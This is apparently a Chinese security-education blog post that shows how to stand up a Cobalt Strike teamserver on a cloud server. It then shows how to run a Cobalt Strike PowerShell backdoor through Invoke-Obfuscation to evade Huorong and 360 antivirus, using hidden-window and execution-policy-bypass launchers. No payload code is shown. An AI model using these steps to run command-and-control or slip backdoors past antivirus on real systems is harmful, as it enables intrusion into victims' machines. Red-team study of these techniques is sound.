CS公网配置及Invoke-Obfuscation Bypass[火绒&360]

高质量的安全文章，安全offer面试经验分享

尽在 # 掌控安全EDU #

作者：掌控安全-核心成员aj545302905 

---

今天本来想做个PS1的免杀，但做的时候要用到cobaltstrike来生成ps1后门

刚开始的时候并不知道cobaltstrike是一个用于团队项目的工具，所以过程中出现了很多问题。

为了让大家熟悉cobaltstrike的运行流程

感觉还是很有必要写一篇有关cobaltstrike公网配置的文章。

顺便讲一下一个很不错的免杀脚本

新版本的CS要配合linux服务端才能运行起来。

网上讲CS4.0的文章很多，但是讲的都很不尽人意，都是私人内网使用的介绍，并没有在公网上实现完整的运行流程。

很多小白（像我似的死活不肯买服务器，映射派作风），因为映射很便宜嘛。所以思路习惯固化在映射上，什么监听配置首先都往内网映射上想。

当然，如果你告诉我你想用花生壳是来搞cobaltstrike！

劝你还是早早放弃。(原因不想多解释 你们能搞出来说明你们NB)

所以我也是拿出半天的时间，进行了一下从零开始如何使用服务器的相关操作。

当然啦！作为资深白嫖党买服务器是不可能的 这辈子都不可能的~

就算抓一台linux也不舍得买 哈哈哈哈(开个小玩笑o(￣▽￣)o)

本着白嫖到底的原则，发现腾讯云可以白嫖一台linux的服务器。

大家可以自己去看一下：关注公众号后 就会送你台服务器（很香的呦~）

腾讯云利用ssh协议可以直接登录到终端，账号root 密码:在邮箱里

登陆后在终端进行CS的配置：

---

访问：https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html#jdk-8u121-oth-JPR

下载X64压缩包

jdk-8u202-linux-x64.tar.gz

将压缩包放到phpstudy本地WWW文件夹中(我是开的映射phpstudy)

切记不要直接wget下载地址!!!否则无法运行CS

然后服务器终端运行指令：

wget 映射的公网IP/jdk-8u202-linux-x64.tar.gz

tar -xzvf jdk-8u271-linux-x64.tar.gz
mv jdk1.8.0_202 /opt
cd /opt/jdk1.8.0_202

执行 vim ~/.bashrc ， 按”i”并添加下列内容

# install JAVA JDK
export JAVA_HOME=/opt/jdk1.8.0_202
export CLASSPATH=.:${JAVA_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH

保存退出 按ESC后再shift+: 输入wq

执行：

update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_202/bin/java 1
update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_202/bin/javac 1
update-alternatives --set java /opt/jdk1.8.0_202/bin/java
update-alternatives --set javac /opt/jdk1.8.0_202/bin/javac

复制代码

update-alternatives --config java
update-alternatives --config javac

---

依然是wget访问本地phpstudy映射到公网的IP下载

wget xxx.cc/cs4.zip
mkdir cs4 //创建一个文件夹
mv cs4.zip cs4
cd cs4
unzip cs4.zip //解压密码cs4
chmod a+x teamserver //貌似服务器终端上不需要提权
ln -s /opt/jdk1.8.0_202/bin/keytool /usr/bin //这一步需要加软链接 很关键
./teamserver 公网IP CS密码

windows下直接双击start.bat //记得安装JAVA 要不然打不开

linux下启动客户端：java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar

映射是死活设置不出来的！！！

Invoke-Obfuscation免杀

这个不得不提，因为他实在是太好用了！一直过一切杀软！！！
下面来介绍一下怎么使用：

管理权限运行：Set-ExecutionPolicy Unrestricted

Import-Module./Invoke-Obfuscation.psd1
Invoke-Obfuscation

set scriptpath C:UsersAdministratorDesktop1.ps1
encoding
1

out shell.ps1

完美绕过火绒和360全家桶 就问你舒不舒服？

Invoke-Obfuscation免杀有多种编码格式 当然也有多种运行方式

输入launcher

选择ps

我们可以看到有多种运行方式

[*]启动程序PS无执行标志

[*]启动器PS1-NoExit

[*]启动器PS2-非交互

[*]启动器PS3-NoLogo

[*]启动程序PS4-NoProfile

[*]启动器PS5-命令

[*]启动器PS6-窗口样式隐藏

[*]启动器PS7-绕过执行策略

[*]启动器PS8-Wow64（到路径32位父进程)

选择6,7实现隐藏和绕过执行策略执行效果很不错的呦！
更多操作等你们发现~

回顾往期内容

一起来学PHP代码审计（一）入门

新时代的渗透思路！微服务下的信息搜集

反杀黑客 — 还敢连shell吗？蚁剑RCE第二回合~

防溯源防水表—APT渗透攻击红队行动保障

实战纪实 | 从编辑器漏洞到拿下域控300台权限

扫码白嫖视频+工具+进群+靶场等资料

 

 扫码白嫖！

 还有免费的配套靶场、交流群哦！

本文始发于微信公众号（掌控安全EDU）：CS公网配置及Invoke-Obfuscation Bypass[火绒&360]